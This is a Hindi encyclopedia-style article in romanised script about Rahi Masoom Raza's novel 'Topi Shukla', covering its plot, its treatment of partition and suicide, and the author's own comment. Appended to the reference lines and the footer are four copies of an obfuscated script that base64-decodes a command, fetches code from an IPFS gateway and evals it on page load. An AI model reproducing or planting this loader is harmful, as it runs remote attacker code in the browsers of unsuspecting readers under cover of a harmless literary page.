टोपी शुक्ला -राही मासूम रज़ा
1969 mean rahi masoom raza ka tisara upanyas 'topi shukla' prakashit hua. rajanitik samasya par adharit charit pradhan upanyas mean bhi gaanv ke nivasi ki jivan gatha hai. rahi is upanyas mean batalate haian ki sanh 1947 mean bharat-pakistan ke vibhajan ka aisa kuprabhav p da ki ab hinduoan aur musalamanoan ka milakar rahana atyadhik kathin ho gaya.
- kathanak
jasoosi upanyas padhane vale ya yoan bhi sirf upanyas padhane vale ko upanyas ka yah aant, ki kahani ka hiro "topi shukla" akhir mean atmahatya kar leta hai, shayad bilakul pasand nahian aega, lekin lekhak ne bhoomika ki pahali hi pankti mean yah bat ujagar kar di hai to zaroor koee khas bat hogi, upanyas ke aant mean maloom p dane vali batoan ko pathak samanyatah romaanch ke rup mean leta hai. kahani ke tane-bane mean pathak apani sanbhavanaean jo dane lagata hai aur kee bar sahi nikalane par khush bhi ho jata hai. lekin yahaan jab pathak ko nayak ka aant pata hai to upanyas padhate samay usaki manahsthiti bilakul viparit hoti hai. aant ko dimag mean rakhakar vah kahani ki sankari aur chau di galiyoan mean ghoomata hai. yahaan pathak ki apani kalpana shakti ke lie raste band ho jate haian. aur lekhak apane sabase pahale prayas mean saphal ho jata hai ki kahaniyaan sirf kalpana lok se nahian utarati vah kabhi-kabhi (aur shayad akasar) yatharth ki zamin par reangate hue milati hai jise lekhak sahara dekar kh da karata hai aur pathak use sanbhale hue age badhate haian.[1]
- lekhak ki saphalata
lekhak pathak ko bauddhik star par lakar kh da karane mean saphal ho jata hai jahaan use kahani ke nayak ki atmahatya ke pichhe ke mool karan, paristhitiyoan, paristhitiyoan ke sath joojhane ki nayak ki kshamata aur unhian paristhitiyoan mean pathak ki khud ki sthiti par vichar karane ke lie poori-poori jagah mil jati hai.[2]
- lekhak ka kathan
mujhe yah upanyas likh kar koee khas khushi nahian huee kyoanki atmahatya sabhyata ki har hai. parantu topi ke samane koee aur rasta nahian tha. yah topi maian bhi hooan aur mere hi jaise aur bahut se log bhi haian. ham log kahian n kahian kisi n kisi avasar par “kampromaiz” kar lete haian. aur isilie ham log ji rahe haian. topi koee devata ya paigambar nahian tha, kiantu usane “kampromaiz” nahian kiya aur isilie atmahatya kar li. parantu adha gaanv ki hi tarah yah kisi ek adami ya kee adamiyoan ki kahani nahian hai. yah kahani bhi samay ki hai. is kahani ka hiro bhi samay hai. samay ke siva koee is layaq nahian hota ki use kisi kahani ka hiro banaya jay. adha gaanv mean beshumar galiyaan thian. maulana ‘topi shukla’ mean ek bhi gali nahian hai. parantu shayad yah poora upanyas ek gandi gali hai, aur maian yah gali danke ki chot bak raha hooan. yah upanyas ashlil hai…… jivan ki tarah.- rahi masoom raza
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tika tippani aur sandarbh
- ↑ topi shukla- rahi masoom raza (hiandi). . abhigaman tithi: 14 aktoobar, 2011.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ topi shukla- rahi masoom raza (hiandi). . abhigaman tithi: 14 aktoobar, 2011.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bahari k diyaan
sanbandhit lekh
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>